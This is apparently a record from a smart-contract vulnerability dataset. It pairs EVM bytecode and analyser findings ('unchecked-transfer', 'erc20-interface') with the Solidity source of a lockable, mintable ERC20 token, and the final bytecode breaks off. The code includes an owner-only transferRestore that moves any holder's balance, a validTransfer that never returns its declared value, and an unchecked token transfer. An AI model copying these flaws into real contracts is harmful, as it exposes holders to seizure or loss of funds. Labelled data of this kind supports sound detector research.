5481565b60056020526000908152604090205481565b600061054a61052b83610564565b6001600160a01b03841660009081526006602052604090205490610aad565b90505b919050565b60066020526000908152604090205481565b60006002544210156105785750600061054d565b600060035442101561058a574261058e565b6003545b6001600160a01b038416600090815260046020526040902054600354919250610607916105ba91610a93565b6001600160a01b038516600090815260046020526040902054610601906105e2908590610a93565b6001600160a01b03871660009081526005602052604090205490610abf565b90610ae6565b9392505050565b61063061061a33610564565b3360009081526006602052604090205490610aad565b3360009081526006602052604090205561064c61052b83610564565b6001600160a01b03831660009081526006602052604090205561068761067133610564565b3360009081526005602052604090205490610a93565b336000908152600560205260409020556106c26106a383610564565b6001600160a01b03841660009081526005602052604090205490610a93565b6001600160a01b03831660008181526005602081815260408084209590955533808452600482528584204290819055948452858420949094559282529091529081205461071783670de0b6b3a7640000610abf565b116107335761072e82670de0b6b3a7640000610abf565b610744565b336000908152600560205260409020545b336000908152600560205260409020549091506107619082610a93565b33600090815260056020526040808220929092556001600160a01b0385168152205461078d9082610aad565b6001600160a01b03841660008181526005602090815260409182902093909355805184815242938101939093528051919233927f9ed053bb818ff08b8353cd46f78db1f0799f31c9e4458fdb425c10eccd2efc44929181900390910190a3505050565b60046020526000908152604090205481565b6000546001600160a01b031681565b60035415610866576040805162461bcd60e51b815260206004820181905260248201527f436f6e747261637420697320616c726561647920696e697469616c697a65642e604482015290519081900360640190fd5b8281146108ba576040805162461bcd60e51b815260206004820152601b60248201527f4172726179206c656e6774687320646f206e6f74206d617463682e0000000000604482015290519081900360640190fd5b6108c48686610aad565b6003556002869055600080546001600160a01b0319166001600160a01b038a811691909117808355604080516323b872dd60e01b8152336004820152306024820152604481018c9052905191909216926323b872dd92606480820193602093909283900390910190829087803b15801561093d57600080fd5b505af1158015610951573d6000803e3d6000fd5b505050506040513d602081101561096757600080fd5b505060018790556000805b84811015610a47576002546004600088888581811061098d57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055508383828181106109cd57fe5b90506020020135600560008888858181106109e457fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002081905550610a3d848483818110610a2757fe5b9050602002013583610aad90919063ffffffff16565b9150600101610972565b506001548114610a885760405162461bcd60e51b815260040180806020018281038252602f815260200180610b09602f913960400191505060405180910390fd5b505050505050505050565b600082821115610aa257600080fd5b508082035b92915050565b60008282018381101561060757600080fd5b600082610ace57506000610aa7565b82820282848281610adb57fe5b041461060757600080fd5b6000808211610af457600080fd5b6000828481610aff57fe5b0494935050505056fe57656967687420646f6573206e6f74206d6174636820746f6b656e73206265696e672064697374726962757465642e5468697320636f6e7472616374206d6179206f6e6c792062652063616c6c656420627920757365727320776974682061207374616b652ea26469706673582212200ac7723f18f39084e1cc7d0ab63aaee46382003b08df2e8dce0f8ef2d7a3101164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
10,487
0x86cf4be0051bc55ca50a8877c4ac09bead0b99d6
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Manager is Ownable { address[] managers; modifier onlyManagers() { bool exist = false; if(owner == msg.sender) { exist = true; } else { uint index = 0; (exist, index) = existManager(msg.sender); } require(exist); _; } function getManagers() public view returns (address[] memory){ return managers; } function existManager(address _to) private view returns (bool, uint) { for (uint i = 0 ; i < managers.length; i++) { if (managers[i] == _to) { return (true, i); } } return (false, 0); } function addManager(address _to) onlyOwner public { bool exist = false; uint index = 0; (exist, index) = existManager(_to); require(!exist); managers.push(_to); } function deleteManager(address _to) onlyOwner public { bool exist = false; uint index = 0; (exist, index) = existManager(_to); require(exist); uint lastElementIndex = managers.length - 1; managers[index] = managers[lastElementIndex]; delete managers[managers.length - 1]; managers.length--; } } contract Pausable is Manager { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyManagers whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyManagers whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract Token is ERC20, Pausable { struct sUserInfo { uint256 balance; bool lock; mapping(address => uint256) allowed; } using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => sUserInfo) user; event Burn(uint256 value); function () public payable { revert(); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view returns (bool) { require(_to != address(this)); require(_to != address(0)); require(user[_from].balance >= _value); if(_lockCheck) { require(user[_from].lock == false); } } function lock(address _owner) public onlyManagers returns (bool) { require(user[_owner].lock == false); user[_owner].lock = true; return true; } function unlock(address _owner) public onlyManagers returns (bool) { require(user[_owner].lock == true); user[_owner].lock = false; return true; } function burn(uint256 _value) public onlyOwner returns (bool) { require(_value <= user[msg.sender].balance); user[msg.sender].balance = user[msg.sender].balance.sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(_value == 0 || user[msg.sender].allowed[_spender] == 0); user[msg.sender].allowed[_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(_from, _to, _value, true); require(_value <= user[_from].allowed[msg.sender]); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(msg.sender, _to, _value, true); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function totalSupply() public view returns (uint256) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return user[_owner].balance; } function lockState(address _owner) public view returns (bool) { return user[_owner].lock; } function allowance(address _owner, address _spender) public view returns (uint256) { return user[_owner].allowed[_spender]; } } contract LockBalance is Manager { struct sLockInfo { uint256[] lockBalanceStandard; uint256[] endTime; } using SafeMath for uint256; mapping(address => sLockInfo) lockUser; event Lock(address indexed from, uint256 value, uint256 endTime); function setLockUser(address _to, uint256 _value, uint256 _endTime) onlyManagers public { require(_endTime > now); require(_value > 0); lockUser[_to].lockBalanceStandard.push(_value); lockUser[_to].endTime.push(_endTime); emit Lock(_to, _value, _endTime); } function setLockUsers(address[] _to, uint256[] _value, uint256[] _endTime) onlyManagers public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); for(uint256 i = 0; i < _to.length; i++){ setLockUser(_to[i], _value[i], _endTime[i]); } } function lockBalanceIndividual(address _owner, uint _index) internal view returns (uint256) { if(now < lockUser[_owner].endTime[_index]) { return lockUser[_owner].lockBalanceStandard[_index]; } else { return 0; } } function clearLockUserInfo(address _holder) onlyManagers public { lockUser[_holder].endTime.length = 0; lockUser[_holder].lockBalanceStandard.length = 0; } function deleteLockUserInfoIdx(address _holder, uint256 idx) onlyManagers public { require(idx < lockUser[_holder].endTime.length); if (idx != lockUser[_holder].endTime.length - 1) { lockUser[_holder].endTime[idx] = lockUser[_holder].endTime[lockUser[_holder].endTime.length - 1]; lockUser[_holder].lockBalanceStandard[idx] = lockUser[_holder].lockBalanceStandard[lockUser[_holder].lockBalanceStandard.length - 1]; } lockUser[_holder].endTime.length--; lockUser[_holder].lockBalanceStandard.length--; } function _deleteLockUserInfo(address _to, uint256 _endTime) internal { bool isExists = false; uint256 index = 0; for(uint256 i = 0; i < lockUser[_to].endTime.length; i++) { if(lockUser[_to].endTime[i] == _endTime) { isExists = true; index = i; break; } } require(isExists); deleteLockUserInfoIdx(_to, index); } function deleteLockUserInfos(address _to, uint256[] _endTime) onlyManagers public { for(uint256 i = 0; i < _endTime.length; i++){ _deleteLockUserInfo(_to, _endTime[i]); } } function lockUserInfo(address _owner, uint256 idx) public view returns (uint256, uint256) { return ( lockUser[_owner].lockBalanceStandard[idx], lockUser[_owner].endTime[idx]); } function lockUserInfo(address _owner) public view returns (uint256[], uint256[]) { return ( lockUser[_owner].lockBalanceStandard, lockUser[_owner].endTime); } function lockBalanceAll(address _owner) public view returns (uint256) { uint256 lockBalance = 0; for(uint256 i = 0; i < lockUser[_owner].lockBalanceStandard.length; i++){ lockBalance = lockBalance.add(lockBalanceIndividual(_owner, i)); } return lockBalance; } } contract StandardToken is Token, LockBalance { bool public isFinishRestore = false; bool public isFinishMint = false; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 supply_) public { name = name_; symbol = symbol_; decimals = decimals_; uint256 initialSupply = supply_; totalSupply = initialSupply * 10 ** uint(decimals); user[owner].balance = totalSupply; emit Transfer(address(0), owner, totalSupply); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view returns (bool) { super.validTransfer(_from, _to, _value, _lockCheck); if(_lockCheck) { require(_value <= useBalanceOf(_from)); } } function transferWithtLockUser(address _to, uint256 _amount, uint256[] _lockAmount, uint256[] _endTime) onlyManagers public { require(_lockAmount.length > 0); require(_lockAmount.length == _endTime.length); transfer(_to, _amount); for(uint256 i = 0; i < _lockAmount.length; i++){ setLockUser(_to, _lockAmount[i], _endTime[i]); } } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } function finishMint() onlyOwner public { isFinishMint = true; } function finishRestore() onlyOwner public { isFinishRestore = true; } function mint(address _owner, uint256 _value) onlyOwner public returns (bool) { require(!isFinishMint); require(_value > 0); user[_owner].balance = user[_owner].balance.add(_value); totalSupply = totalSupply.add(_value); emit Transfer(this, _owner, _value); return true; } function transferRestore(address _from, address _to, uint256 _value) public onlyOwner returns (bool) { require(!isFinishRestore); require(user[_from].balance >= _value); require(_value > 0); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(_from, _to, _value); return true; } }
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063015d200f146101d257806306fdde0314610229578063072f3b67146102b9578063095ea7b314610310578063106ac57b1461037557806318160ddd146103b857806323b872dd146103e357806328d080f1146104685780632d06177a146104d05780632f6c493c14610513578063313ce5671461056e578063351779991461059f5780633f4ba83a146105ce57806340c10f19146105e55780634149953d1461064a57806342966c68146106cf57806351ecf2c214610714578063572b4032146107615780635c975abb1461079057806369132d43146107bf57806370a08231146108165780637e26b62d1461086d5780638456cb59146109595780638da5cb5b1461097057806390e99b09146109c757806394dbc70e146109de57806395d89b4114610a395780639679976014610ac9578063a19c77c714610b0c578063a8d088bb14610b92578063a9059cbb14610bfe578063ac1a717514610c63578063dd62ed3e14610d43578063e0c3e1e714610dba578063e4cc18be14610e8d578063f2fde38b14610ea4578063f435f5a714610ee7575b600080fd5b3480156101de57600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f42565b6040518082815260200191505060405180910390f35b34801561023557600080fd5b5061023e610fd1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027e578082015181840152602081019050610263565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c557600080fd5b5061030e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061106f565b005b34801561031c57600080fd5b5061035b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611248565b604051808215151515815260200191505060405180910390f35b34801561038157600080fd5b506103b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f2565b005b3480156103c457600080fd5b506103cd61151e565b6040518082815260200191505060405180910390f35b3480156103ef57600080fd5b5061044e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611528565b604051808215151515815260200191505060405180910390f35b34801561047457600080fd5b506104b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061189d565b604051808381526020018281526020019250505060405180910390f35b3480156104dc57600080fd5b50610511600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061195f565b005b34801561051f57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4e565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b50610583611b9e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105ab57600080fd5b506105b4611bb1565b604051808215151515815260200191505060405180910390f35b3480156105da57600080fd5b506105e3611bc4565b005b3480156105f157600080fd5b50610630600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb1565b604051808215151515815260200191505060405180910390f35b34801561065657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e5e565b604051808215151515815260200191505060405180910390f35b3480156106db57600080fd5b506106fa600480360381019080803590602001909291905050506120dd565b604051808215151515815260200191505060405180910390f35b34801561072057600080fd5b5061075f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612281565b005b34801561076d57600080fd5b5061077661265d565b604051808215151515815260200191505060405180910390f35b34801561079c57600080fd5b506107a5612670565b604051808215151515815260200191505060405180910390f35b3480156107cb57600080fd5b50610800600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612683565b6040518082815260200191505060405180910390f35b34801561082257600080fd5b50610857600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126af565b6040518082815260200191505060405180910390f35b34801561087957600080fd5b506109576004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506126fb565b005b34801561096557600080fd5b5061096e612826565b005b34801561097c57600080fd5b50610985612914565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109d357600080fd5b506109dc612939565b005b3480156109ea57600080fd5b50610a1f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129b1565b604051808215151515815260200191505060405180910390f35b348015610a4557600080fd5b50610a4e612a0a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a8e578082015181840152602081019050610a73565b50505050905090810190601f168015610abb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ad557600080fd5b50610b0a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612aa8565b005b348015610b1857600080fd5b50610b90600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612c26565b005b348015610b9e57600080fd5b50610ba7612cf1565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610bea578082015181840152602081019050610bcf565b505050509050019250505060405180910390f35b348015610c0a57600080fd5b50610c49600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d7f565b604051808215151515815260200191505060405180910390f35b348015610c6f57600080fd5b50610ca4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f50565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610ceb578082015181840152602081019050610cd0565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610d2d578082015181840152602081019050610d12565b5050505090500194505050505060405180910390f35b348015610d4f57600080fd5b50610da4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613084565b6040518082815260200191505060405180910390f35b348015610dc657600080fd5b50610e8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061310e565b005b348015610e9957600080fd5b50610ea261321e565b005b348015610eb057600080fd5b50610ee5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613296565b005b348015610ef357600080fd5b50610f28600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133eb565b604051808215151515815260200191505060405180910390f35b6000806000809150600090505b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000180549050811015610fc757610fb8610fa9858361353b565b8361360a90919063ffffffff16565b91508080600101915050610f4f565b8192505050919050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110675780601f1061103c57610100808354040283529160200191611067565b820191906000526020600020905b81548152906001019060200180831161104a57829003601f168201915b505050505081565b600080600091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110d457600191506110ea565b600090506110e133613628565b80925081935050505b8115156110f657600080fd5b428311151561110457600080fd5b60008411151561111357600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001849080600181540180825580915050906001820390600052602060002001600090919290919091505550600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018390806001815401808255809150509060018203906000526020600020016000909192909190915055508473ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8585604051808381526020018281526020019250505060405180910390a25050505050565b6000600260009054906101000a900460ff1615151561126657600080fd5b60008214806112f457506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156112ff57600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611457576001915061146d565b6000905061146433613628565b80925081935050505b81151561147957600080fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101816114c89190613953565b506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001816115189190613953565b50505050565b6000600654905090565b6000600260009054906101000a900460ff1615151561154657600080fd5b61155384848460016136d5565b50600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115e257600080fd5b61163782600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461370a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506116d282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461360a90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506117aa82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001838154811015156118ef57fe5b9060005260206000200154600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018481548110151561194957fe5b9060005260206000200154915091509250929050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119bd57600080fd5b60009150600090506119ce83613628565b8092508193505050811515156119e357600080fd5b60018390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b60008060008091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ab45760019150611aca565b60009050611ac133613628565b80925081935050505b811515611ad657600080fd5b60011515600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff161515141515611b3857600080fd5b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff021916908315150217905550600192505050919050565b600560009054906101000a900460ff1681565b600960009054906101000a900460ff1681565b600080600091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c295760019150611c3f565b60009050611c3633613628565b80925081935050505b811515611c4b57600080fd5b600260009054906101000a900460ff161515611c6657600080fd5b6000600260006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d0e57600080fd5b600960019054906101000a900460ff16151515611d2a57600080fd5b600082111515611d3957600080fd5b611d8e82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461360a90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611de98260065461360a90919063ffffffff16565b6006819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ebb57600080fd5b600960009054906101000a900460ff16151515611ed757600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410151515611f2857600080fd5b600082111515611f3757600080fd5b611f8c82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461370a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061202782600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461360a90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213a57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154821115151561218b57600080fd5b6121e082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461370a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061223b8260065461370a90919063ffffffff16565b6006819055507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb826040518082815260200191505060405180910390a160019050919050565b600080600091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122e657600191506122fc565b600090506122f333613628565b80925081935050505b81151561230857600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805490508310151561235b57600080fd5b6001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018054905003831415156125ab57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016001600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805490500381548110151561244357fe5b9060005260206000200154600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018481548110151561249d57fe5b9060005260206000200181905550600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016001600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805490500381548110151561254257fe5b9060005260206000200154600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018481548110151561259c57fe5b90600052602060002001819055505b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018054809190600190036126009190613953565b50600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054809190600190036126569190613953565b5050505050565b600960019054906101000a900460ff1681565b600260009054906101000a900460ff1681565b60006126a861269183610f42565b61269a846126af565b61370a90919063ffffffff16565b9050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b60008060008091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156127615760019150612777565b6000905061276e33613628565b80925081935050505b81151561278357600080fd5b6000865111151561279357600080fd5b845186511415156127a357600080fd5b835186511415156127b357600080fd5b600092505b855183101561281e5761281186848151811015156127d257fe5b9060200190602002015186858151811015156127ea57fe5b90602001906020020151868681518110151561280257fe5b9060200190602002015161106f565b82806001019350506127b8565b505050505050565b600080600091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561288b57600191506128a1565b6000905061289833613628565b80925081935050505b8115156128ad57600080fd5b600260009054906101000a900460ff161515156128c957600080fd5b6001600260006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561299457600080fd5b6001600960006101000a81548160ff0219169083151